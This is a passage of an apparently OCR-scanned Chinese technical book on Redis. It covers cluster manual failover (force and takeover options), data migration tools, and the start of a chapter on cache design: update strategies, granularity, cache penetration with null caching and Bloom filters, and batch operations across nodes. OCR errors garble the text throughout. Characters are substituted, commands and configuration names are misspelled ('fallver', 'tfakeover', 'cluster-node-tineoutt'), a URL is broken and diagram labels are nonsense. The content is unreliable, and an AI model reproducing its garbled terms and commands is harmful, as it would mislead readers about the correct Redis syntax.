节 见 10.6 故 障 恢复 部 分 


5) 旧 主 节点 接受 到 消 妃 后 更 新 目 身 配 置 变 为 从 节点 ， 解 除 所 有 客户 器 
请 求 阻 竖 ， 这 些 请 求 会 被 重 定 问 到 新 主 节 点 上 执行 。 


6) 旧 主 市 点 变 为 从 市 点 后 ， 癌 新 的 主 节点 发 起 全 量 复制 流程 。 
© 


主 从 节点 转移 后 ， 新 的 从 节点 由 于 之 前 没有 缓存 主 节点 信息 无 法 使 用 部 
分 复制 功能 ， 所 以 会 发 起 全 量 复制 ， 当 节点 包含 大 量 数据 时 会 严重 消耗 CPU 
和 网 络 资源 ， 线 上 不 要 频繁 操作 。Redis4.0 的 Psync2 将 有 效 改善 这 一 问题 。 








手动 故障 转移 的 应 用 场景 主要 如 下 : 


1) 主 市 反 迁 移 :， 运 维 Redis 集 群 过 程 中 经 常 遇 到 调整 节点 部 署 的 问题 ， 
如 市 点 所 在 的 老 机 占 蔡 换 到 新 机 器 等 。 由 于 从 市 点 默认 不 啊 应 请 求 可 以 安全 
下 线 关 闭 ， 但 直接 下 线 主 市 上 会 导致 故障 自动 转移 期 间 主 节操 无 法 对 外 提供 
服务 ， 影 响 线 上 业务 的 稳定 性 。 这 时 可 以 使 用 手动 故障 转移 ， 把 要 下 线 的 主 
市 点 安全 的 符 换 为 从 节点 后 ， 再 做 下 线 操作 操作 ， 如 图 10-46 所 示 。 
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12， 下 线 6379 节点 


让 = 本 Cs | 
)3; 上 线 新 从 节点 


图 10-46 ”通过 手动 故障 转移 调整 集群 节点 拓扑 





2) 强制 故障 转移 。 当 上 自动 故障 转移 失败 时 ， 只 要 故障 的 主 节 点 有 存活 
的 从 节点 就 可 以 通过 手动 转移 故障 强制 让 从 市 点 玲 换 故障 的 主 节点 ， 保 证 集 
群 的 可 用 性 。 目 动 故障 转移 失败 的 场景 





主 节 点 和 它 的 所 有 从 节点 同时 故障 。 这 个 问题 需要 通过 调整 节点 机 顺 
部 效 拓 扑 做 规避 ， 保 证 主 从 节点 不 在 同一 机 器 /机 架 上 。 除 非 机 房 内 大 面积 
故障 ， 人 否则 两 全 机 需 / 机 以 同时 故障 概率 很 低 。 





:所 有 从 节点 与 主 节点 复制 断 线 时 间 超 过 cluster-slave-validity- 
factor*cluster-node-tineoutt+repl-ping-slave-period， 导 至 从 节点 被 判定 为 没有 
故障 转移 资格 ， 手 动 故障 转移 从 市 点 不 做 中 断 超时 检查 。 


.由 于 网 络 不 稳定 等 问题 ， 故 障 发 现 或 故障 选举 时 间 无 法 在 cluster-node- 
timeout*2 内 完成 ， 流 程 会 不 断 重 试 ， 最 终 从 节点 复制 中 断 时 间 超 时 ， 失 去 故 
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障 转移 资格 无 法 完成 转移 。 





:集群 内 超过 一 半 以 上 的 主 节点 同时 故障 。 


根据 以 上 情况 ，cluster failover 命 令 提供 了 两 个 参数 force/takeover 提 供 支 














cluster failover force 一 一 用 于 当主 节点 宕 机 且 无 法 自动 完成 故障 转移 情 
况 。 从 节点 接 到 cluster failover force 请 求 时 ， 从 节点 直接 发 起 选举 ， 不 再 跟 
主 节点 确认 复制 偏 移 量 〈 从 节点 复制 延迟 的 数据 会 丢失 ) ， 当 从 节点 选举 成 
功 后 替换 为 新 的 主 节点 并 广播 集群 配置 。 





用 于 集群 内 超过 一 半 以 上 主 节 点 故障 的 场 
景 ， 因 为 从 节点 无 法 收 到 半数 以 上 主 节 点 投票 ， 所 以 无 法 完成 选举 过 程 。 可 
以 执行 cluster failover takeover 强 制 转移 ， 接 到 命令 的 从 节点 不 再 进行 选举 流 
程 而 是 直接 更 新 本 地 配置 纪元 并 蔡 换 主 节 点 。takeover 故 障 转移 由 于 没有 通 
过 领导 者 选举 发 起 故障 转移 ， 会 导致 配置 纪元 存在 冲突 的 可 能 。 当 冲突 发 生 
时 ， 集 群 会 以 nodeId 字 典 序 更 大 的 一 方 配置 为 准 。 因 此 要 小 心 集群 分 区 后 ， 
手动 执行 tfakeover 导 致 的 集群 冲突 问题 。 如 图 10-47 所 示 。 


cluster failover takeover 
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图 10-47 takeover 强 制 故 障 转移 导致 集群 冲突 


图 中 Redis 集 群 分 别 部 署 在 2 个 同城 机 房 ， 机 房 A 部 署 节 点 : master-1、 
master-2、master-3、slave-4。 机 房 B 部 署 节点 : slave-1、slave-2、slave-3、 


master-4。 


当 机 房 之 间 出 现 网 络 中 断 时 ， 机 房 A 内 的 节点 持 有 半数 以 上 主 市 点 可 
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以 完成 故障 转移 ， 会 将 slave-4 转 换 为 master-4。 








.如果 客 户 端 应 用 都 部 署 在 机 房 B， 运 维 人 员 为 了 快速 恢复 对 机 房 B 的 
Redis 访 问 ， 对 slave-1，slave-2，Sslave-3 分 别 执行 cluster failover takeover 强 制 


故障 转移 ， 让 机 房 B 的 节点 可 以 快速 恢复 服务 。 








当 机 房 专线 恢复 后 ，Redis 集 群 会 拥有 两 套 持 有 相同 槽 信息 的 主 节 点 。 
这 时 集群 会 使 用 配置 纪元 更 大 的 主 节 点 槽 信息 ， 配 置 纪元 相等 时 使 用 nodeld 
更 大 的 一 方 ， 因 此 最 终 会 以 哪个 主 市 把 为 准 是 不 确定 的 。 如 果 集 群 以 机 房 A 
的 主 市 反 权 信息 为 准 ， 则 这 段 时 间 内 对 机 房 B 的 写 入 数据 将 会 丢失 。 








综 上 所 述 ， 在 集群 可 以 自动 完成 故障 转移 的 情况 下 ， 不 要 使 用 cluster 
failover takeover 强 制 干 扰 集 群 选举 机 制 ， 该 操作 主要 用 于 半数 以 上 主 节 点 故 
障 时 采取 的 强制 措施 ， 请 慎 用 。 


© ,nn 


手动 故障 转移 时 ， 在 满足 当前 需求 的 情况 下 建议 优先 级 : cluster 


fallver>cluster failover force>cluster fallover takeover。 
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10.7.7 ”数据 迁移 


应 用 Redis 集 群 时 ， 常 需要 把 单机 Redis 数 据 迁 移 到 集群 环境 。redis- 
trib.rb 工 具 提 供 了 导入 功能 ， 用 于 数据 从 单机 辐 集 群 环境 迁移 的 场景 ， 命 令 
如 下 : 





redis-trib.rb import host:port --from <arg> --copy --replace 


redis-trib.rb import 命 令 内 部 采用 批量 scan 和 migrate 的 方式 迁移 数据 。 
种 迁移 方式 存在 以 下 缺点 : 


1) 迁移 只 能 从 单机 市 点 辐 集 群 环境 导入 数据 。 








2) 不 文 持 在 线 迁 移 数 据 ， 迁 移 数 据 时 应 用 方 必 须 停 写 ， 无 法 平 请 迁移 
数据 。 


3) 迁移 过 程 中 途 如 果 出 现 超时 等 错误 ， 不 支持 断 点 续 传 只 能 重新 全 量 
导入 。 


4) 使 用 单线 程 进 行 数据 迁移 ， 大 数据 量 迁移 速度 过 慢 ，。 


正 因 为 这 些 问题 ， 社 区 开源 了 很 多 迁移 工具 ， 这 里 推荐 一 球 唯 品 会 开发 
的 redis-migrate-tool， 该 工具 可 满足 大 多 数 Redis 迁 移 需 求 ， 特 点 如 下 : 


:支持 单机 、Twemproxy、Redis Cluster、RDB/AOF 等 多 种 类 型 的 数据 迁 





:工具 模拟 成 从 节点 基于 复制 流 迁 移 数 据 ， 从 而 支持 在 线 迁 移 数 据 ， 业 
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务 方 不 需要 停 写 。 


采用 多 线程 加 速 数据 迁移 过 程 且 提 供 数据 校 验 和 得 看 迁移 状态 等 功 


ZN 
CC 


更 多 细节 见 GitHub: https://github.com/vipshop/redis-migrate-tool。 
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10.8 ”本 章 重 点 回顾 





1) Redis 集 群 数据 分 区 规则 采用 虚拟 槽 方式， 所 有 的 键 映射 到 16384 个 
槽 中 ， 每 个 节点 负责 一 部 分 槽 和 相关 数据 ， 实 现 数据 和 请 求 的 负载 均衡 。 





2) 搭建 集群 划分 三 个 步骤 : 准备 节点 ， 节 点 握手 ， 分 配 槽 。 可 以 使 用 
redis-trib.rb create 命 令 快速 搭建 集群 。 





3) 集群 内 部 节点 通信 采用 Gossip 协 议 彼此 发 送 消 轧 ， 消 息 类 型 分 为 : 
ping 消 息 、pong 消 息 、meet 消 息 、fail 消 息 等 。 节 点 定期 不 断 发 送 和 接受 
ping/pong 消 息 来 维护 更 新 集群 的 状态 。 消 息 内 容 包 括 节 点 自身 数据 和 部 分 其 
他 节点 的 状态 数据 。 








4) 集群 伸缩 通过 在 节点 之 间 移 动 槽 和 相关 数据 实现 。 扩 容 时 根据 模 迁 
移 计 划 把 权 从 源 市 扣 迁 移 到 目标 节点 ， 源 市 扩 负 贡 的 槽 相 比 之 前 变 少 从 而 达 
到 集群 扩容 的 目的 ， 收 缩 时 如 果 下 线 的 节点 有 负责 的 横 需 要 迁移 到 其 他 市 
扩 ， 再 通过 cluster forget 命 令 让 集群 内 其 他 节点 态 记 被 下 线 广 反 。 





5) 使 用 Smart 客 户 端 操作 集群 达到 通信 效率 最 大 化 ， 客 户 端 内 部 负责 计 
算 维护 键 一 槽 一 节点 的 映射 ， 用 于 快速 定位 键 命令 到 目标 节点 。 集 群 协议 通 
过 Smart 客 户 端 全 面 高 效 的 支持 需要 一 个 过 程 ， 用 户 在 选择 Smart 客 户 端 时 建 
议 review 下 集群 交互 代码 如 : 异常 判定 和 重 试 逻辑 ， 更 新 槽 的 并 发 控制 等 。 
节点 接收 到 键 命令 时 会 判断 相关 的 槽 是 否 由 自身 节点 负责 ， 如 果 不 是 则 返回 
重 定向 信息 。 重 定向 分 为 MOVED 和 ASK，ASK 说 明 集群 正在 进行 槽 数据 迁 
移 ， 客 户 端 只 在 本 次 请 求 中 做 临时 重 定 向 ， 不 会 更 新 本 地 槽 缓存 。MOVED 
重 定 向 说 明 模 已 经 明确 分 派 到 另 一 个 节点 ， 客 户 端 需要 更 新 模 节 点 缓存 。 
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6) 集群 目 动 故障 转移 过 程 分 为 故障 发 现 和 故障 恢复 。 节 点 下 线 分 为 主 
观 下 线 和 客观 下 线 ， 当 超过 半数 主 节 点 认为 故障 节点 为 主观 下 线 时 标记 和 它 为 
客观 下 线 状 态 。 从 节点 负责 对 客观 下 线 的 主 节点 触发 故障 恢复 流程 ， 保 证 集 
群 的 可 用 性 。 











7) 开发 和 运 维 集群 过 程 中 常见 问题 包括 : 超大 规模 集群 带宽 消耗 ， 
pub/sub 广 播 问 题 ， 集 群 节 点 倾 冬 问 题 ， 手 动 故障 转移 ， 在 线 迁 移 数 据 等 。 
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第 11 章 “缓存 设计 


绥 存 能 够 有 效 地 加 速 应 用 的 读 写 速度 ， 同 时 也 可 以 降低 后 端 负载 ， 对 日 
常 应 用 的 开发 至 天 重要 。 但 是 将 缓存 加 入 应 用 架构 后 也 会 带 来 一 些 问 题 ， 本 
革 将 针对 这 些 问题 介绍 缓存 使 用 技巧 和 设计 方案 ， 包 含 如 下 内 容 : 


缓存 的 收益 和 成 本 分 析 。 


` 绥 存 更 新 全 上 略 的 选择 和 使 用 场景 。 





缓存 粒度 控制 方法 。 
` 窒 透 问题 优化 。 
无底洞 问题 优化 。 
雪崩 问 题 优化 。 


热点 key 重 建 优化 。 
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11.1 缓存 的 收益 和 成 本 





图 11-1 堪 侧 为 客户 端 直接 调用 存储 层 的 架构 ， 右 侧 为 比较 典型 的 缓存 层 
+ 存储 层 架 构 ， 下 面 分 析 一 下 缓存 加 入 后 带 来 的 收益 和 成 本 。 


收益 如 下 : 





:加速 读 写 : 因为 缓存 通常 都 是 全 内 存 的 (例如 Redis、Memcache) ， 而 
存储 层 通常 读 写 性 能 不 够 强悍 〈 例 如 MySQL) ， 通 过 缓存 的 使 用 可 以 有 效 
地 加 速 读 写 ， 优 化 用 户 体验 。 


降低 后 端 负 载 : 帮助 后 端 减 少 访问 量 和 复杂 计算 《例如 很 复杂 的 SQL 
语句 ) ， 在 很 大 程度 降低 了 后 端的 负载 。 


tT 和- return 


一 一 | 组 存 层 | 2 
| 存储 导 | | #82 | 
图 11-1 缓存 层 + 存 储 层 基本 流程 

成 本 如 下 : 
数据 不 一 致 性 : 缓存 层 和 存储 层 的 数据 存在 着 一 定时 间 窗 口 的 不 一 致 
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性 ， 时 间 窗 口 跟 更 新 朱 略 有 关 。 


代码 维护 成 本 : 加 入 缓存 后 ， 需 要 同时 处 理 缓存 层 和 存储 层 的 迎 辑 ， 
增 大 了 开发 者 维护 代码 的 成 本 。 


: 运 维 成 本 : 以 Redis Cluster 为 例 ， 加 入 后 无 形 中 增加 了 运 维 成 本 。 
绥 存 的 使 用 场景 基本 包含 如 下 两 种 : 


.开销 大 的 复杂 计算 : 以 MySQL 为 例子 ， 一 些 复杂 的 操作 或 者 计算 〈 例 
如 大 量 联 表 操 作 、 一 些 分 组 计算 ) ， 如 果 不 加 缓存 ， 不 但 无 法 满足 高 并 发 
量 ， 同 时 也 会 给 MySQL 带 来 巨大 的 负担 。 





:加速 请 求 啊 应 : 即使 查询 单条 后 端 数据 足够 快 〈 例 如 select*fromtable 
where id=) ， 那 么 依然 可 以 使 用 缓存 ， 以 Redis 为 例子 ， 每 秒 可 以 完成 数 万 
次 读 写 ， 并 且 提 供 的 批量 操作 可 以 优化 整个 IO 链 的 啊 应 时 间 。 
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11.2 绥 存 更 新 策略 








绥 存 中 的 数据 通常 都 是 有 生命 周期 的 ， 需 要 在 指定 时 间 后 被 删除 或 更 
新 ， 这 样 可 以 保证 缓存 空间 在 一 个 可 控 的 范围 。 但 是 缓存 中 的 数据 会 和 数据 
源 中 的 真实 数据 有 一 段 时 间 窗 口 的 不 一 致 ， 需 要 利用 茶 些 策略 进行 更 新 。 下 
面 将 分 别 从 使 用 场景 、 一 致 性 、 开 发 人 员 开 发 /维护 成 本 三 个 方面 介绍 三 种 
绥 存 的 更 新 策略 。 





1.LRULEFUFIFO 算 法 剔除 


使 用 场景 。 剔 除 算 法 通 钊 用 于 绥 存 使 用 量 超过 了 预 设 的 最 大 值 时 候 ， 如 
何 对 现 有 的 数据 进行 蜀 除 。 例 如 Redis 使 用 maxmemory-policy 这 个 配置 作为 内 
存 最 大 值 后 对 于 数据 的 剔除 策略 。 





一 任性 。 要 清理 哪些 数据 是 由 具体 算法 决定 ， 开 发 人 员 只 能 决定 使 用 哪 
种 算法 ， 所 以 数据 的 一 致 性 是 最 差 的 。 








维护 成 本 。 算 法 不 需要 开发 人 员 自 己 来 实现 ， 通 常 只 需要 配置 最 大 
maxmemory 和 对 应 的 策略 即 可 。 开 发 人 员 只 需要 知道 每 种 算法 的 含义 ， 选 择 
适合 目 己 的 算法 即 可 。 


2. 超 时 剔除 


使 用 场景 。 超 时 剔除 通过 给 缓存 数据 设置 过 期 时 间 ， 让 其 在 过 期 时 间 后 
自动 删除 ， 例 如 Redis 提 供 的 expire 命 令 。 如 果 业 务 可 以 容忍 一 段 时 间 内 ， 
存 层 数据 和 存储 层 数 据 不 一 致 ， 那 么 可 以 为 其 设置 过 期 时 间 。 在 数据 过 期 
后 ， 再 从 真实 数据 源 获取 数据 ， 重 新 放 到 缓存 并 设置 过 期 时 间 。 例 如 一 个 视 
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频 的 描述 信息 ， 可 以 容忍 几 分 钟 内 数据 不 一 致 ， 但 是 涉及 交易 方面 的 业务 ， 
后 果 可 想 而 知 。 





一 致 性 。 一 段 时 间 窗 口内 《取决 于 过 期 时 间 长 短 ) 存在 一 致 性 问题 ， 即 
绥 存 数据 和 真实 数据 源 的 数据 不 一 致 。 








维护 成 本 。 维 护 成 本 不 是 很 高 ， 只 需 设 置 expire 过 期 时 间 即 可 ， 当 然 前 
提 是 应 用 方 允 许 这 段 时 间 可 能 发 生 的 数据 不 一 致 。 


3. 主 动 更 新 











使 用 场景 。 应 用 方 对 于 数据 的 一 致 性 要 求 高 ， 需 要 在 真实 数据 更 新 后 ， 
立即 更 新 缓存 数据 。 例 如 可 以 利用 消息 系统 或 者 其 他 方式 通知 缓存 更 新 。 


一 臻 性。 一致 性 最 高 ， 但 如 果 主 动 更 新 发 生 了 问题 ， 那 么 这 条 数据 很 可 
能 很 长 时 间 不 会 更 新 ， 所 以 建议 结合 超时 吻 除 一 起 使 用 效果 会 更 好 。 








维护 成 本 。 维 护 成 本 会 比较 高 ， 开 发 者 需要 上 自己 来 完成 更 新 ， 并 保证 更 
新 操作 的 正确 性 。 


表 11-1 给 出 了 缓存 的 三 种 常见 更 新 集 略 的 对 比 。 


表 11-1 三 种 常见 更 新 策略 的 对 比 


策 略 维护 成 本 
LRU/LRF/FIFO 算法 剔除 低 
超时 剔除 较 低 
主动 更 新 高 





4. 最 佳 实践 


有 两 个 建议 : 
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' 低 一 致 性 业务 建议 配置 最 大 内 存 和 淘汰 策略 的 方式 使 用 。 


高 一 致 性 业务 可 以 结合 使 用 超时 剔除 和 主动 更 新 ， 这 样 即使 主动 更 新 
出 了 问题 ， 也 能 保证 数据 过 期 时 间 后 删除 脏 数据 。 
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11.3 缓存 粒 度 控制 





图 11-2 是 很 多 项 目 关于 绥 存 比较 常用 的 选 型 ， 绥 存 层 选 用 Redis， 存 储 
层 选 用 MySQL。 


人 客户 兰 Zi 记 疡 | 


对 


Redis 





| MySQL | 
图 11-2 ”Redis+MySQL 架 构 


例如 现在 需要 将 MySQL 的 用 户 信息 使 用 Redis 缓 存 ， 可 以 执行 如 下 操 
作 : 





从 MySQL 获 取 用 户 信 息 : 


select * from user where id={id} 


将 用 户 信 息 缓存 到 Redis 中 : 
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set user:{id} "select * from user where id={id}' 


假设 用 户 表 有 100 个 列 ， 需 要 缓存 到 什么 维度 呢 ? 





.缓存 全 部 列 ， 
set user: {id} 'select * from user where id={id}' 

缓存 部 分 重要 列 : 
set user:{id} "select {importantColumnl1l}, {important Column2} ... {importantCol 


from user where id={id}' 


上 述 这 个 问题 就 是 缓存 粒度 问题 ， 客 竞 是 缓存 全 部 属性 还 是 只 缓存 部 分 
重要 属性 呢 ? 下 面 将 从 通用 性 、 空 间 占 用 、 代 码 维护 三 个 角度 进行 说 明 。 





通用 性 。 缓 存 全 部 数据 比 部 分 数据 更 加 通用 ， 但 从 实际 经 验 看 ， 很 长 时 
间 内 应 用 只 需要 几 个 重要 的 属性 。 





空间 占用 。 缓 存 全 部 数据 要 比 部 分 数据 占用 更 多 的 空间 ， 可 能 存在 以 下 


问题 : 


` 全 部 数据 会 造成 内 存 的 浪费 。 


全 部 数据 可 能 每 次 传输 产生 的 网 络 流量 会 比较 大 ， 耗 时 相对 较 大 ， 在 
极端 情况 下 会 阻塞 网 络 。 


全 部 数据 的 序列 化 和 反 序 列 化 的 CPU 开销 更 大 。 


代码 维护 。 全 部 数据 的 优势 更 加 明显 ， 而 部 分 数据 一 旦 要 加 新 字段 需要 
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修改 业务 代码 ， 而 且 修改 后 通常 还 需要 刷新 缓存 数据 。 


表 11-2 给 出 缓存 全 部 数据 和 部 分 数据 在 通用 性 、 空 间 占 用 、 代 码 维护 上 
的 对 比 ， 开 发 人 员 可 以 酌情 选择 。 


表 11-2 缓存 全 部 数据 和 部 分 数据 对 比 


数据 类 型 代码 维护 
全 部 数据 简单 
部 分 数据 较为 复杂 








缓存 粒度 问题 是 一 个 容易 被 忽视 的 问题 ， 如 果 使 用 不 当 ， 可 能 会 造成 很 
多 无 用 空间 的 浪费 ， 网 络 带宽 的 浪费 ， 代 码 通 用 性 较 差 等 情况 ， 需 要 综合 数 
据 通用 性 、 空 间 占 用 比 、 代 码 维护 性 三 点 进行 取舍。 
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11.4 罕 透 优化 





绥 存 罕 透 是 指 碍 询 一 个 根本 不 存在 的 数据 ， 绥 存 层 和 存储 层 都 不 会 命 
中 ， 通 常 出 于 容错 的 考虑 ， 如 果 从 存储 层 查 不 到 数据 则 不 写 入 缓存 屋 ， 如 图 
11-3 所 示 整 个 过 程 分 为 如 下 3 步 : 


1) 缓存 层 不 命中 。 





2) 存储 层 不 命中 ， 不 将 空 结果 写 回 缓存 。 


3) 返回 空 结果 。 


缓存 穿 透 将 导致 不 存在 的 数据 每 次 请 求 都 要 到 存储 层 去 查询 ， 失 去 了 组 
存 保护 后 端 存储 的 意义 。 


绥 存 罕 透 问题 可 能 会 使 后 端 存储 负载 加 大 ， 由 于 很 多 后 端 存 储 不 具备 高 
并 发 性 ， 甚 至 可 能 造成 后 端 存 储 宕 抒 。 通 常 可 以 在 程序 中 分 别 统计 总 调用 
数 、 缓 存 层 命 中 数 、 存 储 层 命 中 数 ， 如 果 发 现 大 量 存 储 层 空 命中 ， 可 能 束 古 
出 现 了 缓存 穿 透 问题 。 


造成 缓存 罕 透 的 基本 原因 有 两 个 。 第 一 ， 目 身 业 务 代码 或 者 数据 出 现 问 
题 ， 第 二 ， 一 些 恶 意 攻 击 、 疏 虫 等 造成 大 量 空 命 中 。 下 面 我 们 来 看 一 下 如 何 
解决 缓存 穿 透 问题 。 


1. 绥 存 空 对 象 


如 图 11-4 所 示 ， 当 第 2 步 存 储 层 不 俞 中 后 ， 仍 然 将 空 对 象 保留 到 缓存 层 
中 ， 之 后 再 访问 这 个 数据 将 会 从 缓存 中 获取 ， 这 样 就 保护 了 后 端 数据 源 。 
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~ 
ES3 
人 


| ) miss 


3 ) return 
| 很 存 层 | 


2 ) miss 


图 11-3 ”缓存 穿 透 模型 
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| ) miss 


4 ) return 


| 络 存 层 | 


2 ) miss 3 ) cache 


Null 


| 存储 层 | 


图 11-4” 绥 存 空 值 应 对 穿 透 问题 








绥 存 空 对 象 会 有 两 个 问题 ， 第 一 ， 空 值 做 了 缓存 ， 意 味 着 缓存 层 中 存 了 
更 多 的 键 ， 需 要 更 多 的 内 存 空间 (如 果 是 攻击 ， 问 题 更 严重 ) ， 比 较 有 效 的 
方法 是 针对 这 类 数据 设置 一 个 较 短 的 过 期 时 间 ， 让 其 自动 剔除 。 第 二 ， 绥 存 
层 和 存储 层 的 数据 会 有 一 段 时 间 窗 口 的 不 一 致 ， 可 能 会 对 业务 有 一 定 影 啊 。 
例如 过 期 时 间 设 置 为 5 分 钟 ， 如 果 此 时 存储 层 添加 了 这 个 数据 ， 那 此 段 时 间 
就 会 出 现 缓存 层 和 存储 层 数据 的 不 一 致 ， 此 时 可 以 利用 消息 系统 或 者 其 他 方 
式 清除 挥 缓存 层 中 的 空 对 象 。 





下 面 给 出 了 缓存 空 对 象 的 实现 代码 : 


String get (String key) { 
/ / 从 缓存 中 获取 数据 
String cacheValue = cache.get (key); 
/ / 缓存 为 空 
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诗 下 





(StringUtils.isBlank (cacheValue)) { 

/ / 从 存储 中 获取 

String storageValue = storage.get (key); 

cache.set (key, storageValue); 

/ / 如 果 存 储 数据 为 室 ， 需 要 设置 一 个 过 期 时 间 ( 300 秒 ) 

if (storageValue == null) { 
cache.expire(key, 60 * 5); 

} 

return storageValue; 

} else { 

/ / 缓存 非 空 

return cacheValue; 





} 





2. 布 隆 过 滤器 拦截 





如 图 11-5 所 示 ， 在 访问 缓存 层 和 存储 层 之 前 ， 将 存在 的 key 用 布 隆 过 滤 
需 提 前 保存 起 来 ， 做 第 一 层 拦截 。 例 如 : 一 个 推荐 系统 有 4 亿 个 用 户 i 4， 每 
个 小 时 算法 工程 师 会 根据 每 个 用 户 之 前 历史 行为 计算 出 推荐 数据 放 到 存储 层 
中 ， 但 是 最 新 的 用 户 由 于 没有 历史 行为 ， 就 会 友 生 缓存 穿 透 的 行为 ， 为 此 可 
以 将 所 有 推荐 数据 的 用 户 做 成 布 隆 过 滤 圳 。 如 果 布 隆 过 滤器 认为 该 用 户 id 不 
存在 ， 那 么 就 不 会 访问 存储 层 ， 在 一 定 程度 保护 了 存储 层 。 
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2 ) miss/hit 3 ) miss 


人 lo omFiltes) 


= 5 ) return 
| 后 存 导 | 


| ) offline 


4 ) hit 
storage 


图 11-5 使 用 布 隆 过 滤器 应 对 罕 透 问题 


Oana 


有 关 布 隆 过 滤器 的 相关 知识 ， 可 以 参 
考 : https://en.wikipedia.org/wiki/Bloom filter 可 以 利用 Redis 的 Bitmaps 实 现 布 
隆 过 滤器 ，GitHub 上 已 经 开源 了 类 似 的 方案 ， 读 者 可 以 进行 参 
考 : https://github.conyerikdubbelboer/redis-lua-scaling-bloom-filter。 

这 种 方法 适用 于 数据 命中 不 高 、 数 据 相 对 固定 、 实 时 性 低 (通常 是 数据 
集 较 大 ) 的 应 用 场景 ， 代 码 维护 较为 复杂 ， 但 是 缓存 空间 占用 少 。 


3. 两 种 方案 对 比 
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前 面 介绍 了 绥 存 穿 透 问 题 的 两 种 解决 方法 (实际 上 这 个 问题 是 一 个 开放 
问题 ， 有 很 多 解决 方法 ) ， 下 面 通过 表 11-3 从 适用 场景 和 维护 成 本 两 个 方面 
对 两 种 方案 进行 分 析 。 


表 11-3 缓存 空 对 象 和 布 隆 过 滤器 方案 对 比 


维护 成 本 
。 代码 维 护 简单 
“需要 过 多 的 缓存 空间 
“数据 不 一 臻 
。 数 据 命中 不 高 。 代 码 维护 复杂 
* 数据 相对 固定 实时 性 低 “ 绥 存 空间 占用 少 


解决 缓存 穿 透 


米 1 人 = 
i *。 数据 命中 不 高 
缓存 空 对 象 


“数据 频繁 变化 实时 性 高 





布 隆 过 滤器 
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11.$ ”无底洞 优化 


2010 年 ，Facebook 的 Memcache 节 点 已 经 达到 了 3000 个 ， 承 载 着 TB 级 别 
的 缓存 数据 。 但 开发 和 运 维 人 员 发 现 了 一 个 问题 ， 为 了 满足 业务 要 求 添 加 了 
大 量 新 Memcache 节 点 ， 但 是 发 现 性 能 不 但 没有 好 转 反 而 下 降 了 ， 当 时 将 这 
种 现象 称 为 缓存 的 “无 底 洞 ?现象 。 


那么 为 什么 会 产生 这 种 现象 呢 ， 通 常 来 说 添加 市 点 使 得 Memcache 集 群 
性 能 应 该 更 强 了 ， 但 事实 并 非 如 此 。 键 值 数据 库 由 于 通常 采用 哈 希 函数 将 
key 上 映射 到 各 个 市 点 上 ， 造 成 key 的 分 布 与 业务 无 天 ， 但 是 由 于 数据 量 和 访问 
量 的 持续 增长 ， 造 成 需要 添加 大 量 节 点 做 水 平 扩 容 ， 导 致 键 值 分 布 到 更 多 的 
节点 上 ， 所 以 无 论 是 Memcache 还 是 Redis 的 分 布 式 ， 批 量 操作 通常 需要 从 不 
同 节 点 上 获取 ， 相 比 于 单机 批量 操作 只 涉及 一 次 网 络 操作 ， 分 布 式 批量 操作 
会 涉及 多 次 网 络 时 间 。 














图 11-6 展 示 了 在 分 布 式 条 件 下 ， 一 次 mget 操 作 需 要 访问 多 个 Redis 节 点 ， 
需要 多 次 网 络 时 间 。 


而 图 11-7 由 于 所 有 键 值 都 集中 在 一 个 节点 上 ， 所 以 一 次 批量 操作 只 需要 
一 次 网 络 时 间 。 


无 底 洞 问题 分 析 : 


客户 端 一 次 批量 操作 会 涉及 多 次 网 络 操作 ， 也 就 意味 着 批量 操作 会 随 
独 节 点 的 增多 ， 耗 时 会 不 断 增 大 。 





网 络 连接 数 变 多 ， 对 市 点 的 性 能 也 有 一 定 影响 。 
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用 一 句 通 俗 的 话 总 结束 是 ， 更 多 的 节点 不 代表 更 局 的 性 能 ， 所 谓 “ 无 底 
洞 ”就 是 说 投入 越 多 不 一 定 产 出 越 多 。 但 是 分 布 式 又 是 不 可 以 避免 的 ， 因 为 
访问 量 和 数据 量 越 来 越 大 ， 一 个 节点 根本 抗 不 住 ， 所 以 如 何 高 效 地 在 分 布 式 
绥 存 中 批量 操作 是 一 个 难点 。 





下 面 介 绍 如 何在 分 布 式 条 件 下 优化 批量 操作 。 在 介绍 具体 的 方法 之 前 
我 们 来 看 一 下 常见 的 IO 优 化 思路 : 


= re— 
Si ils on a 人 


Uset1]:name 
st | ;ace 

user] age 
7 


USErLATNAINE 


es 
2 PAE Te 
User:age 


userN:name 


ee 


userN:age 





TD a a DD ED DD en 


Redis4 


图 11-6 分 布 式 存储 批量 操作 多 次 网 络 时 间 
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user] :age 


User2:name 


UserZ:age 、 





Redis 


Mee ee 


userIN:name | 
userN :age | 
心 
| 
=» ~ 


图 11-7” 当 一 个 节点 存储 批量 操作 只 需 一 次 网 络 时 间 
:命令 本 里 的 优化 ， 例 如 优化 SQL 语 句 等 。 
减少 网 络 通信 次 数 。 
降低 接 入 成 本 ， 例 如 客户 端 使 用 长 连 /连接 池 、NIO 等 。 


这 里 我 们 假设 命令 、 客 户 端 连接 已 经 为 最 优 ， 重 点 讨论 减少 网 络 操作 次 
数 。 








以 Redis 批 量 获取 nm 个 字符 串 为 例 ， 有 三 种 实现 方法 ， 如 图 11-8 所 示 。 
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客户 端 n 次 get: n 次 网 络 +n 次 get 命 令 本 身 。 
.客户 端 1 次 pipeline get: 1 次 网 络 +n 次 get 命 令 本 身 。 
客户 端 1 次 mget: 1 次 网 络 +1 次 mget 命 令 本 续 。 


上 面 已 经 给 出 了 IO 的 优化 思路 以 及 单个 节点 的 批量 操作 优化 方式 ， 下 面 
我 们 将 结合 Redis Cluster 的 一 些 特 性 对 四 种 分 布 式 的 批量 操作 方式 进行 说 
明 。 


n 次 网 络 十 1 ; st 全 兮 夺 SN 








人 


Re d 1S 


| 次 网 络 +n 次 get 全 令 看 身 je 








一 一 一 一 


Re d 1S 





图 11-8 客户 端 批量 操作 的 三 种 实现 


1. 串 行 命令 


由 于 n 个 key 是 比较 均匀 地 分 布 在 Redis Cluster 的 各 个 节点 上 ， 因 此 无 法 
使 用 mget 命 令 一 次 性 获取 ， 所 以 通常 来 讲 要 获取 n 个 key 的 值 ， 最 简单 的 方法 


就 是 逐次 执行 n 个 get 命 令 ， 这 种 操作 时 间 复 杂 度 较 高 ， 它 的 操作 时 间 =n 次 网 
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络 时 间 +n 次 命令 时 间 ， 网 络 次 数 是 n。 很 显然 这 种 方案 不 是 最 优 的 ， 但 是 实 
现 起 来 比较 简单 ， 如 图 11-9 所 示 。 







TD a en a DD ED 


多 次 





| 

| 网 络 时 间 、 | 
| key1 : 
| Redis 1 
| \ 
l | 

一 
分 — 0 
1 LU_  ， 
1 Redis |! 
| keyN-1 1 
| - I 
| 1 
| | keyN ' | 
ss | 

